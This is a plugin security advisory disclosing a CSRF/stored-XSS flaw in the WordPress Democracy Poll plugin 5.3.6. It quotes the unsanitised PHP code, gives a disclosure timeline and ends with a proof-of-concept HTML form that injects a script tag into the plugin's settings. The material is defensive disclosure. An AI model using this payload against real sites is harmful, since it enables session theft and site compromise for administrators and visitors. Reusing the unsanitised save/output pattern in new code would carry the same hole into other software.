22 Feb

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Democracy Poll

As part of the feature of our service where we do security reviews of plugins that are selected by our customers, we recently reviewed the plugin Democracy Poll. The most serious issue we found in that review was a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability.

The CSRF potion of the vulnerability was due to a lack of a nonce on the Texts Changes tab of the plugin’s admin page and a lack of a check for a valid one when processing a request to change the plugin’s settings .

For the XSS issue, in the file /admin/class.DemAdminInit.php the function update_l10n() saves the relevant settings and no sanitization is done in version 5.3.6:

151
152
153
154
155
156
157
158
159
160
function update_l10n(){
	$new_l10n = stripslashes_deep( $_POST['l10n'] );
 
	// удалим, если нет отличия от оригинального перевода
	foreach( $new_l10n as $k => $v )
		if( __( $k,'dem') == $v )
			unset( $new_l10n[ $k ] );
 
	update_option('democracy_l10n', $new_l10n );
}

When the values are output they are not escaped, take for the example the value for “Vote”, in the file /democracy-poll/class.DemPoll.php it is output on line 384:

$vote_btn = '<a href="javascript:void(0);" class="dem-button '. Dem::$opt['btn_class'] .' dem-vote-link" data-dem-act="vote_screen" rel="nofollow">'. __dem('Vote') .'</a>';

The function that gets the value of “Vote” there __dem() (in the file /democracy.php) does not escape it either:

69
70
71
72
73
74
75
function __dem( $str ){
	static $cache;
	if( $cache === null )
		$cache = get_option('democracy_l10n');
 
	return isset( $cache[ $str ] ) ? $cache[ $str ] : __( $str, 'dem');
}

We notified the developer of the issue and the rest of our review’s findings on February 8, but we haven’t heard back from them and no changes had been made to the plugin since then.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=democracy-poll&subpage=l10n and fronted pages with a poll on them, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=democracy-poll&subpage=l10n" method="POST">
<input type="hidden" name="l10n[Vote]" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="dem_save_l10n" value="Save Text" />
</form>
</body>
</html>

Timeline

  • February 8, 2017 – Developer notified.
  • February 22, 2017 – WordPress.org Plugin Directory notified.
  • February 23, 2017 – Version 5.4  submitted to Plugin Directory subversion repository, which fixes vulnerability.

Concerned About The Security of The Plugins You Use

When you are a paying customer of our service (you can currently try the service free for the first month), you get to suggest/vote on what plugins we will do security reviews of.

One thought on “Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Democracy Poll

Leave a Reply

Your email address will not be published. Required fields are marked *